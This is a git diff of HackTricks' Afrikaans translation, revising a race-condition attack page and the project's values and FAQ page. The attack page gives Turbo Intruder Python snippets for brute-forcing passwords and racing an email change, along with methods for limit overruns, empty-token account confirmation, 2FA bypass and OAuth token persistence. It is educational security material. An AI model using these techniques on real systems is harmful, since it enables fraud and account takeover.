+Die daaropvolgende stuur van die teruggehoue frames behoort te lei tot hul aankoms in ’n enkele packet, verifieerbaar met Wireshark. Hierdie metode geld nie vir static files nie, wat gewoonlik nie by RC-aanvalle betrokke is nie.
-### Aanpassing by bediener-argitektuur
+### Aanpassing by Server-argitektuur
-Om die teiken se argitektuur te verstaan is noodsaaklik. Front-end servers kan requests anders routeer, wat die timing beïnvloed. Preemptiewe server-side verbindingsopwarming deur onbeduidende requests kan versoektiming normaliseer.
+Om die teiken se argitektuur te verstaan is kritiek. Front-end servers kan requests anders routeer, wat timing beïnvloed. Preemptiewe verbinding-warming aan die bedienerkant, deur onbelangrike requests, kan versoektye normaliseer.
-#### Hantering van Session-Based Locking
+#### Handling Session-Based Locking
-Frameworks soos PHP se session handler serialiseer requests per session, wat moontlik kwesbaarhede verskuil. Deur vir elke request verskillende session tokens te gebruik, kan hierdie probleem omseil word.
+Frameworks soos PHP se session handler serialiseer requests per session, wat moontlik kwesbaarhede kan verberg. Deur verskillende session tokens vir elke request te gebruik kan hierdie probleem omseil word.
-#### Oorkom Rate- of Hulpbronbeperkings
+#### Overcoming Rate or Resource Limits
-As verbinding-opwarming ondoeltreffend is, kan die doelbewuste veroorsaak van webservers se rate- of hulpbronlimiet-vertragings deur 'n vloed van dummy requests die single-packet attack vergemaklik deur 'n server-side vertraging te skep wat race conditions bevorder.
+As connection warming nie effektief is nie, kan jy webservers se rate- of resource-limietvertraging doelbewus veroorsaak deur ’n vloed van dummy requests, wat die single-packet attack kan vergemaklik deur ’n bediener-aan-die-kant vertraging te induseer wat gunstig is vir race conditions.
-## Voorbeelde van Aanvalle
+## Attack Examples
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Jy kan die request stuur na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), jy kan in die request die waarde verander wat jy wil brute force vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en dan die **`examples/race-single-packer-attack.py`** uit die keuselys kies:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Jy kan die request stuur na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), jy kan in die request die waarde wat jy wil brute force verander vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en dan die **`examples/race-single-packer-attack.py`** uit die dropdown kies:
.png)
-As jy van plan is om **verskillende waardes te stuur**, kan jy die kode wysig met hierdie een wat 'n woordlys vanaf die klembord gebruik:
+As jy verskillende waardes gaan stuur, kan jy die kode wysig met hierdie een wat ’n wordlist vanaf die clipboard gebruik:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
-> As die web HTTP2 nie ondersteun nie (slegs HTTP1.1), gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
+> As die web HTTP2 nie ondersteun nie (slegs HTTP1.1) gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: As jy 'n versoek na 1 endpoint moet stuur en dan verskeie na ander endpoints om die RCE te trigger, kan jy die `race-single-packet-attack.py`-skrip verander met iets soos:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: As jy 'n request na 1 endpoint moet stuur en daarna verskeie na ander endpoints om die RCE te trigger, kan jy die `race-single-packet-attack.py` script verander met iets soos:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt)
```
- Dit is ook beskikbaar in **Repeater** via die nuwe '**Send group in parallel**' opsie in Burp Suite.
-- Vir **limit-overrun** kan jy net die **same request 50 times** by die groep voeg.
-- Vir **connection warming** kan jy **add** aan die **beginning** van die **group** 'n paar **requests** na 'n nie-statiese deel van die web server.
-- Vir **delaying** die proses **between** die verwerking van **one request and another** in 'n 2 substates stappe, kan jy **add extra requests between** beide requests.
-- Vir 'n **multi-endpoint** RC kan jy begin deur die **request** te stuur wat **goes to the hidden state** en dan net ná dit **50 requests** wat die **hidden state** **exploits**.
+- Vir **limit-overrun** kan jy net **dieselfde request 50 keer** by die groep voeg.
+- Vir **connection warming** kan jy **byvoeg** aan die **begin** van die **groep** 'n paar **requests** na 'n nie-statiese deel van die webbediener.
+- Vir **delaying** die proses **tussen** die verwerking van **een request en 'n ander** in 2 substates stappe, kan jy **voeg ekstra requests tussen** albei requests.
+- Vir 'n **multi-endpoint** RC kan jy begin om die **request** te stuur wat **na die versteekte toestand gaan** en dan net ná dit **50 requests** stuur wat **die versteekte toestand uitbuit**.
.png)
-- **Automated python script**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verification token van die nuwe e-pos by die laaste e-pos aankom (dit is omdat die kode 'n RC gesien het waar dit moontlik was om 'n e-pos te wysig maar die verification na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste gevul was).\
-Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons dat ons die verification token van die veranderde e-pos ontvang het en ons beëindig die aanval.
+- **Geautomatiseerde python-skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasie-token van die nuwe e-pos by die laaste e-pos aankom (dit is omdat in die kode daar 'n RC was waar dit moontlik was om 'n e-pos te wysig maar die verifikasie aan die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een gevul was).\
+Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons dat ons die verifikasie-token van die veranderde e-pos ontvang het en ons beëindig die aanval.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@@ -217,21 +217,28 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
-### Verbetering van Single Packet Attack
+#### Turbo Intruder: enjin- en gating-notas
-In die oorspronklike navorsing word verduidelik dat hierdie aanval 'n limiet van 1,500 bytes het. Echter, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), is verduidelik hoe dit moontlik is om die 1,500-byte beperking van die single packet attack uit te brei na die **65,535 B window limitation of TCP by using IP layer fragmentation** (deur 'n enkele pakket in verskeie IP-pakkette op te deel) en dit in 'n ander volgorde te stuur, wat voorkom dat die pakket saamgestel word totdat al die fragmente die bediener bereik het. Hierdie tegniek het die navorser in staat gestel om ongeveer 10,000 requests in ~166ms te stuur.
+- Enjin-keuse: gebruik `Engine.BURP2` op HTTP/2 teikens om die single‑packet attack te trigger; val terug na `Engine.THREADED` of `Engine.BURP` vir HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
+- Diagnostiek: negatiewe tydstempels in Turbo Intruder dui aan dat die server geantwoord het voordat die request heeltemal gestuur is, wat oorlap bewys. Dit word verwag in ware races.
+- Konneksie-opwarming: stuur eers 'n ping of 'n paar onskadelike requests om tydberekeninge te stabiliseer; skakel opsioneel `TCP_NODELAY` af om die samestelling van die finale frames aan te moedig.
-Let daarop dat alhoewel hierdie verbetering die aanval meer betroubaar maak in RC wat honderde/duisende pakkette vereis om terselfdertyd aan te kom, dit ook sekere sagteware-beperkings kan hê. Sommige populêre HTTP-servers soos Apache, Nginx en Go het 'n streng `SETTINGS_MAX_CONCURRENT_STREAMS` instelling van 100, 128 en 250. Ander soos NodeJS en nghttp2 het dit egter onbeperk.\
-Dit beteken basies dat Apache slegs 100 HTTP-verbindinge vanaf 'n enkele TCP-verbinding sal oorweeg (wat hierdie RC-aanval beperk).
+### Verbetering van die Single Packet Attack
-Jy kan sommige voorbeelde wat hierdie tegniek gebruik in die repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main) vind.
+In die oorspronklike navorsing word verduidelik dat hierdie attack 'n limiet van 1,500 bytes het. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (deur 'n enkele pakket in verskeie IP-pakkette te verdeel en dit in 'n ander volgorde te stuur), wat voorkom dat die pakket heraangestel word totdat al die fragmente die server bereik het. Hierdie tegniek het die navorser in staat gestel om ongeveer 10,000 requests in ongeveer 166ms te stuur.
+
+Let wel dat alhoewel hierdie verbetering die attack meer betroubaar maak in RC wat honderde/duisende pakkette vereis om terselfdertyd te arriveer, dit ook sagtewarebeperkings kan hê. Sommige gewilde HTTP-servers soos Apache, Nginx en Go het 'n streng `SETTINGS_MAX_CONCURRENT_STREAMS` instelling van 100, 128 en 250. However, other like NodeJS and nghttp2 has it unlimited.\
+Dit beteken basies dat Apache slegs 100 HTTP-verbindinge vanaf 'n enkele TCP-verbinding sal oorweeg (wat hierdie RC attack beperk).
+
+Jy kan voorbeelde van hierdie tegniek vind in die repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
-Voor die vorige navorsing was dit sommige payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.
+Voor die vorige navorsing is hier 'n paar payloads gebruik wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.
-- **Repeater:** Check the examples from the previous section.
-- **Intruder**: Stuur die **request** na **Intruder**, stel die **number of threads** op **30** in die **Options menu**, en kies as payload **Null payloads** en genereer **30**.
+- **Repeater:** Kyk na die voorbeelde uit die vorige afdeling.
+- **Intruder**: Stuur die **request** na **Intruder**, stel die **number of threads** op **30** in die **Options menu**, kies as payload **Null payloads** en genereer **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -279,75 +286,75 @@ print(results)
asyncio.run(main())
```
-## **RC Methodology**
+## **RC Metodologie**
### Limit-overrun / TOCTOU
-Dit is die mees basiese tipe race condition waar **vulnerabilities** voorkom op plekke wat die aantal kere wat jy 'n aksie kan uitvoer beperk. Soos om dieselfde discount code in 'n web store verskeie kere te gebruik. 'n Baie eenvoudige voorbeeld is te vind in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**this bug**](https://hackerone.com/reports/759247)**.**
+Dit is die mees basiese tipe race condition waar **vulnerabilities** voorkom op plekke wat die **aantal kere wat jy 'n aksie kan uitvoer** beperk. Soos om dieselfde afslagkode in 'n webwinkel verskeie kere te gebruik. 'n Baie eenvoudige voorbeeld is te vinde in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**this bug**](https://hackerone.com/reports/759247)**.**
Daar is baie variasies van hierdie soort aanval, insluitend:
-- Redeeming a gift card multiple times
-- Rating a product multiple times
-- Withdrawing or transferring cash in excess of your account balance
-- Reusing a single CAPTCHA solution
-- Bypassing an anti-brute-force rate limit
+- Inløs van 'n geskenkkaart meerdere kere
+- Beoordeel 'n produk meerdere kere
+- Onttrekking of oordrag van kontant bo jou rekeningbalans
+- Hergebruik van 'n enkele CAPTCHA-oplossing
+- Omseil van 'n anti-brute-force rate limit
-### **Hidden substates**
+### **Verborge substates**
-Exploiting complex race conditions behels dikwels om voordeel te trek uit kortgeleentheid om met verborgen of **unintended machine substates** te interaksie. Hier is hoe om dit te benader:
+Die uitbuiting van ingewikkelde race conditions behels dikwels om voordeel te trek uit kortgeleë geleenthede om met verborge of **onbedoelde machine substates** te interaksioneer. Hier is hoe om dit aan te pak:
-1. **Identify Potential Hidden Substates**
-- Begin deur endpunte te identifiseer wat kritiese data wysig of daarmee interaksie het, soos user profiles of password reset-processes. Fokus op:
-- **Storage**: Gee voorkeur aan endpunte wat server-side persistent data manipuleer bo daardie wat data client-side hanteer.
-- **Action**: Soek na operasies wat bestaande data verander — dit is meer geneig om uitbuitbare toestande te skep in vergelyking met dié wat nuwe data byvoeg.
-- **Keying**: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifier gemik is, bv. username of reset token.
-2. **Conduct Initial Probing**
-- Toets die geïdentifiseerde endpunte met race condition-aanvalle en let op afwykings van verwagte uitkomste. Onverwagte antwoorde of veranderinge in toepassinggedrag kan 'n kwetsbaarheid aandui.
+1. **Identifiseer potensiële verborge substates**
+- Begin deur endpoints te identifiseer wat kritieke data wysig of daarmee interaksioneer, soos user profiles of password reset processes. Fokus op:
+- **Storage**: Gee voorkeur aan endpoints wat server-side persistent data manipuleer bo dié wat data client-side hanteer.
+- **Action**: Kyk na operasies wat bestaande data verander, wat meer geneig is om uitbuitbare toestande te skep in vergelyking met dié wat nuwe data byvoeg.
+- **Keying**: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifier gesleutel is, bv. gebruikersnaam of reset token.
+2. **Voer aanvanklike probing uit**
+- Toets die geïdentifiseerde endpoints met race condition attacks en let op enige afwykings van verwagte uitkomste. Onverwagte antwoorde of veranderinge in application-gedrag kan 'n vulnerability aandui.
3. **Demonstrate the Vulnerability**
-- Smal die aanval in tot die minimale aantal versoeke wat nodig is om die kwetsbaarheid uit te buit, dikwels net twee. Hierdie stap kan meerdere pogings of outomatisering vereis weens die presiese tydsberekening wat betrokke is.
+- Beperk die aanval tot die minimale aantal requests wat nodig is om die vulnerability te exploit — dikwels net twee. Hierdie stap kan meervoudige pogings of automatisering vereis weens die presiese timing.
-### Time Sensitive Attacks
+### Tydsgevoelige Aanvalle
-Presisie in die tydsberekening van versoeke kan kwetsbaarhede openbaar, veral wanneer voorspelbare metodes soos timestamps gebruik word vir security tokens. Byvoorbeeld, die genereer van password reset tokens gebaseer op timestamps kan identiese tokens vir simultane versoeke toelaat.
+Presisie in die timing van requests kan vulnerabilities openbaar, veral wanneer voorspelbare metodes soos timestamps gebruik word vir security tokens. Byvoorbeeld, die genereer van password reset tokens gebaseer op timestamps kan identiese tokens toelaat vir gelyktydige requests.
**To Exploit:**
-- Gebruik presiese tydsberekening, soos 'n single packet attack, om concurrent password reset requests te verstuur. Identiese tokens dui op 'n kwetsbaarheid.
+- Gebruik presiese timing, soos 'n single packet attack, om gelyktydige password reset requests te stuur. Identiese tokens dui op 'n vulnerability.
**Example:**
-- Request two password reset tokens op presies dieselfde tyd en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in token generation.
+- Vra twee password reset tokens terselfdertyd aan en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in tokengenerering.
-**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
+**Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **om dit te probeer.**
-## Hidden substates case studies
+## Verborge substates gevallestudies
-### Pay & add an Item
+### Betaal & voeg 'n item by
-Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om in 'n store te **pay** en 'n **extra** item by te **add** wat jy nie hoef te betaal nie.
+Kyk na hierdie [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om te **betaal** in 'n winkel en **'n ekstra item by te voeg** waarvoor jy **nie hoef te betaal nie**.
-### Confirm other emails
+### Bevestig ander e-posse
-Die idee is om 'n e-posadres te **verify** en dit terselfdertyd na 'n ander een te verander om te ontdek of die platform die nuwe een verifieer.
+Die idee is om 'n e-posadres te **verifieer en dit terselfdertyd na 'n ander een te verander** om uit te vind of die platform die nuwe een verifieer.
-### Change email to 2 emails addresses Cookie based
+### Verander e-pos na 2 e-posadresse Cookie-gebaseerd
-Volgens [**this research**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab op hierdie wyse kwesbaar vir 'n takeover omdat dit moontlik die **email verification token of one email to the other email** kan **send**.
+Volgens [**this research**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab op hierdie wyse kwesbaar vir 'n takeover omdat dit die email verification token van een e-pos na die ander kon stuur.
-**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
+**Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **om dit te probeer.**
-### Hidden Database states / Confirmation Bypass
+### Verborge Database-state / Confirmation Bypass
-As **2 different writes** gebruik word om **information** binne 'n **database** by te voeg, bestaan daar 'n klein tydsbestek waarin slegs die eerste data geskryf is in die database. Byvoorbeeld, wanneer 'n user geskep word, kan die **username** en **password** geskryf word en daarna die token om die nuut geskepte account te bevestig. Dit beteken dat vir 'n kort tyd die **token to confirm an account is null**.
+As 2 verskillende writes gebruik word om inligting by 'n database te voeg, is daar 'n klein tydperk waar slegs die eerste data in die database geskryf is. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die gebruikersnaam en password geskryf word en daarna die token om die nuutgeskepte rekening te bevestig geskryf word. Dit beteken dat vir 'n kort tyd die token om 'n rekening te bevestig null is.
-Daarom kan **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) om die account dadelik te bevestig toelaat om **bevestig 'n rekening** waar jy nie die e-pos beheer nie.
+Daarom kan die registrasie van 'n rekening en die stuur van verskeie requests met 'n leë token (`token=` of `token[]=` of enige ander variasie) om die rekening onmiddellik te bevestig, toelaat om 'n rekening te bevestig waarvoor jy nie die e-pos beheer nie.
-**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
+**Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **om dit te probeer.**
### Bypass 2FA
-Die volgende pseudo-code is kwetsbaar vir race condition omdat daar in 'n baie klein tydsbestek die **2FA is not enforced** terwyl die session geskep word:
+Die volgende pseudo-code is kwesbaar vir race condition omdat in 'n baie klein tyd die **2FA nie afgedwing word nie** terwyl die session geskep word:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -355,23 +362,23 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
-### OAuth2 eternal persistence
+### OAuth2 ewige persistentie
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Hierdie dienste laat jou toe om 'n toepassing te skep en gebruikers te verifieer wat deur die provider geregistreer is. Om dit te doen, sal die **client** jou **toepassing toestemming moet gee** om 'n deel van hul data binne die **OAUth provider** te bereik.\
-Tot dusver net 'n gewone login met google/linkedin/github... waar jy 'n bladsy gesien kry wat sê: "_Application \ wants to access you information, do you want to allow it?_"
+Daar is verskeie [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Hierdie dienste laat jou toe om 'n toepassing te skep en gebruikers te verifieer wat deur die provider geregistreer is. Om dit te doen, sal die **client** die **permit your application** moet gee om toegang tot sommige van hul data binne die **OAUth provider** te kry.\
+So, tot dusver net 'n gewone login met google/linkedin/github... waar jy 'n bladsy te sien kry wat sê: "_Aansoek \ wil toegang hê tot jou inligting, wil jy dit toelaat?_"
#### Race Condition in `authorization_code`
-Die **probleem** verskyn wanneer jy **dit aanvaar** en dit outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan misbruik die toepassing 'n Race Condition in die OAUth service provider om meer as een AT/RT (_Authentication Token/Refresh Token_) uit die **`authorization_code`** vir jou rekening te genereer. Basies sal dit die feit misbruik dat jy die toepassing toegang tot jou data gegee het om **verskeie rekeninge te skep**. Daarna, selfs al stop jy om die toepassing toegang tot jou data te gee, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees.
+Die **probleem** verskyn wanneer jy dit **aanvaar** en dit outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan misbruik hierdie toepassing 'n **Race Condition in die OAUth service provider om meer as een AT/RT te genereer** (_Authentication Token/Refresh Token_) vanaf die **`authorization_code`** vir jou rekening. Basies sal dit die feit misbruik dat jy die toepassing toegang tot jou data gegee het om **verskeie rekeninge te skep**. As jy dan **stop om die toepassing toegang tot jou data te gee, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees**.
#### Race Condition in `Refresh Token`
-Sodra jy 'n **geldige RT** verkry het, kan jy probeer om dit te **misbruik om verskeie AT/RT te genereer** en **selfs as die gebruiker die toestemmings vir die kwaadwillige toepassing kanselleer**, sal **verskeie RTs steeds geldig bly.**
+Sodra jy 'n **geldig RT** verkry het, kan jy probeer om dit te **misbruik om verskeie AT/RT te genereer** en **selfs as die gebruiker die permissies kanselleer** vir die kwaadwillige toepassing om sy data te bereik, sal **verskeie RTs steeds geldig wees.**
## **RC in WebSockets**
-- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) vind jy 'n PoC in Java om websocket boodskappe in **parallel** te stuur om **Race Conditions ook in Web Sockets** te misbruik.
-- Met Burp’s WebSocket Turbo Intruder kan jy die **THREADED** engine gebruik om meerdere WS-verbindinge te skep en payloads parallel te stuur. Begin by die amptelike voorbeeld en stel `config()` (thread count) vir concurrency af; dit is dikwels meer betroubaar as om op 'n enkele verbinding te batche wanneer jy server‑side state oor WS handlers probeer race. Sien [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) vind jy 'n PoC in Java om websocket-boodskappe in **parallel** te stuur om **Race Conditions ook in Web Sockets** te misbruik.
+- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Begin met die amptelike voorbeeld en tune `config()` (thread count) vir concurrency; dit is dikwels meer reliable as batching on a single connection wanneer jy server‑side state across WS handlers race. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## Verwysings
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index c5b774af8..e8d6dca8c 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -5,28 +5,28 @@
## HackTricks Waardes
> [!TIP]
-> Dit is die **waardes van die HackTricks Project**:
+> Dit is die **waardes van die HackTricks-projek**:
>
-> - Gee **GRATIS** toegang tot **OPVOEDKUNDIGE hacking** hulpbronne aan **AL** die Internet.
-> - Hacking gaan oor leer, en leer behoort so gratis as moontlik te wees.
+> - Gee **VRYE** toegang tot **OPVOEDENDE hacking** hulpbronne aan **AL die Internet**.
+> - Hacking gaan oor leer, en leer behoort so vry as moontlik te wees.
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
-> - **STOOR** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en gee die **OORSPRONGLIKE** **AUTEURS** al die **krediete**.
-> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net koel truuks vir almal bewaar.
+> - **BEWAAR** wonderlike **hacking** tegnieke wat die gemeenskap publiseer en gee die **ORIGINELE** **AUTEURS** al die **krediete**.
+> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net cool truuks vir almal bewaar.
> - Ons skryf ook **ons eie navorsing** in HackTricks.
-> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en die leser aanmoedig om die oorspronklike pos te besoek vir meer besonderhede.
+> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en die **leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is
-> - Die HackTricks-span het duisende ure vrylik bestee **slegs om die inhoud te organiseer** sodat mense **vinnig kan leer**
+> - Die HackTricks-span het duisende ure gratis bestee **slegs om die inhoud te organiseer** sodat mense **viniger kan leer**
-## HackTricks V&A
+## HackTricks FAQ
> [!TIP]
>
> - **Baie dankie vir hierdie hulpbronne, hoe kan ek julle bedank?**
-Jy kan publiek die HackTricks-span bedank vir die saamstel van al hierdie hulpbronne in 'n tweet deur [**@hacktricks_live**](https://twitter.com/hacktricks_live) te noem.\
-As jy besonders dankbaar is, kan jy ook [**die projek hier borg**](https://github.com/sponsors/carlospolop).\
+Jy kan publiekelik die HackTricks-spanne bedank vir die samevoeging van al hierdie hulpbronne in 'n tweet deur [**@hacktricks_live**](https://twitter.com/hacktricks_live) te noem.\
+Indien jy besonder dankbaar is kan jy ook [**borg die projek hier**](https://github.com/sponsors/carlospolop).\
En moenie vergeet om **'n ster aan die Github-projekte te gee nie!** (Vind die skakels hieronder).
> [!TIP]
@@ -42,16 +42,16 @@ Moenie vergeet om **'n ster aan die Github-projekte te gee nie!**
> [!TIP]
>
-> - **Kan ek dele van HackTricks kopieer en op my blog plaas?**
+> - **Kan ek inhoud van HackTricks kopieer en dit in my blog plaas?**
-Ja, jy kan, maar **moenie vergeet om die spesifieke skakel(s) te noem** waar die inhoud vandaan geneem is nie.
+Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** te noem waar die inhoud vandaan geneem is nie.
> [!TIP]
>
-> - **Hoe kan ek 'n bladsy van HackTricks aanhaal?**
+> - **Hoe kan ek 'n bladsy van HackTricks siteer?**
-Solank die skakel **van** die blad(ye) waaruit jy die inligting geneem het verskyn, is dit genoeg.\
-As jy 'n bibtex nodig het kan jy iets soos die volgende gebruik:
+Solank die skakel **van** die bladsy(s) waaruit jy die inligting geneem het verskyn, is dit genoeg.\
+As jy 'n bibtex nodig het, kan jy iets soos gebruik:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Kan ek al die HackTricks op my blog kopieer?**
-**Ek sou liewer nie**. Dit gaan **niemand bevoordeel nie** aangesien al die **inhoud reeds openbaar beskikbaar** is in die amptelike HackTricks-boeke, en dit is **GRATIS**.
+**Ek sou liewer nie**. Dit gaan **niemand bevoordeel nie**, aangesien al die **inhoud reeds publiek beskikbaar** is in die amptelike HackTricks-boeke vir **GRATIS**.
-As jy vrees dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis.
+As jy vrees dat dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis.
> [!WARNING]
>
-> - **Hoekom het julle borge? Is HackTricks-boeke vir kommersiële doeleindes?**
+> - **Hoekom het julle sponsore? Is HackTricks-boeke vir kommersiële doeleindes?**
-Die eerste HackTricks-waarde is om GRATIS hacking-opvoedkundige hulpbronne aan DIE HELE wêreld te bied. Die HackTricks-span het **duisende ure** gewy om hierdie inhoud te lewer, weer, vir **GRATIS**.
+Die eerste HackTricks-waarde is om **GRATIS** opvoedkundige hacking-hulpbronne aan **iedereen** wêreldwyd te bied. Die HackTricks-span het **duisende ure** toegewy om hierdie inhoud te verskaf, weer, vir **GRATIS**.
-As jy dink HackTricks-boeke is geskep vir **kommersiële doeleindes**, het jy **HEELTEMAL VERKEERD**.
+As jy dink HackTricks-boeke is gemaak vir **kommersiële doeleindes**, jy is **TEN VOLLE VERKEERD**.
-Ons het borge omdat, selfs al is alle inhoud GRATIS, ons die gemeenskap die moontlikheid wil bied om ons werk te waardeer as hulle dit wil doen. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en relevante maatskappye in kuberveiligheid om HackTricks te borg en 'n paar advertensies in die boek te hê — die advertensies word altyd geplaas op plekke waar hulle sigbaar is maar nie die leerproses versteur as iemand op die inhoud fokus nie.
+Ons het sponsore omdat, selfs al is al die inhoud **GRATIS**, ons die gemeenskap die moontlikheid wil gee om ons werk te waardeer as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en relevante kuberveiligheidsmaatskappye om HackTricks te borg en om sommige advertensies in die boek te hê — die advertensies word altyd op plekke geplaas waar hulle sigbaar is maar nie die leerproses steur as iemand op die inhoud fokus nie.
-Jy sal nie HackTricks vol irriterende advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, want HackTricks is nie gemaak vir kommersiële doeleindes nie.
+Jy sal nie HackTricks gevul met irriterende advertensies soos ander blogs met baie minder inhoud as HackTricks vind nie, omdat HackTricks nie vir kommersiële doeleindes gemaak is nie.
> [!CAUTION]
>
-> - **Wat moet ek doen as 'n HackTricks-bladsy gebaseer is op my blogpos maar dit nie verwys is nie?**
+> - **Wat moet ek doen as ’n HackTricks-bladsy gebaseer is op my blogpos maar dit nie verwys is nie?**
-Ons is baie jammer. Dit behoort nie so te gebeur nie. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-bladsy met die inhoud en die skakel na jou blog en **ons sal dit nagaan en dit so gou moontlik byvoeg**.
+**Ons is baie jammer. Dit behoort nie gebeur het nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-bladsy met die inhoud en die skakel van jou blog en **ons sal dit nagaan en dit SO VYFASIGD moontlik byvoeg**.
> [!CAUTION]
>
-> - **Wat moet ek doen as daar inhoud van my blog in HackTricks is en ek wil nie hê dit moet daar wees nie?**
